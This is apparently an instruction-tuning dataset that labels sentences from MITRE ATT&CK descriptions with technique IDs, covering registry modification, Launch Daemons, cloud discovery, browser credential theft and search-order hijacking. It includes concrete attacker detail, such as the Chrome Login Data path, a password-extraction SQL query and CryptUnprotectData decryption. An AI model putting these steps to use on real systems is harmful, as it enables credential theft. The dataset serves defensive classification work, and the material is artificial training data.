[Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Reghide NOV 2006)", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Reghide NOV 2006) ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TrendMicro POWELIKS AUG 2014)", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro POWELIKS AUG 2014) ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Hiding Reg Jul 2017)", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Hiding Reg Jul 2017) ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Registry of a remote system may be modified to aid in execution of files as part of lateral movement.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It requires the remote Registry service to be running on the target system.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It requires the remote Registry service to be running on the target system. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Remote)", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Remote) ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start processes that perform background system functions.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start processes that perform background system functions. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)).", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable.", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "output": "T1543.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) ### Response: T1543.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code>", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation:", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Get Public Access Block)(Citation: AWS Head Bucket)", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Get Public Access Block)(Citation: AWS Head Bucket) ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI)", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation:", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes OSINT Leaky Buckets - Hioureas)", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes OSINT Leaky Buckets - Hioureas) ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS)", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AWS Describe DB Instances)", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AWS Describe DB Instances) ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this information to determine the potential value of databases and discover the requirements to access them.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", "output": "T1580", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. ### Response: T1580."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation:", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018) ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004). ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access.", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "output": "T1555.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). ### Response: T1555.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec)", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system 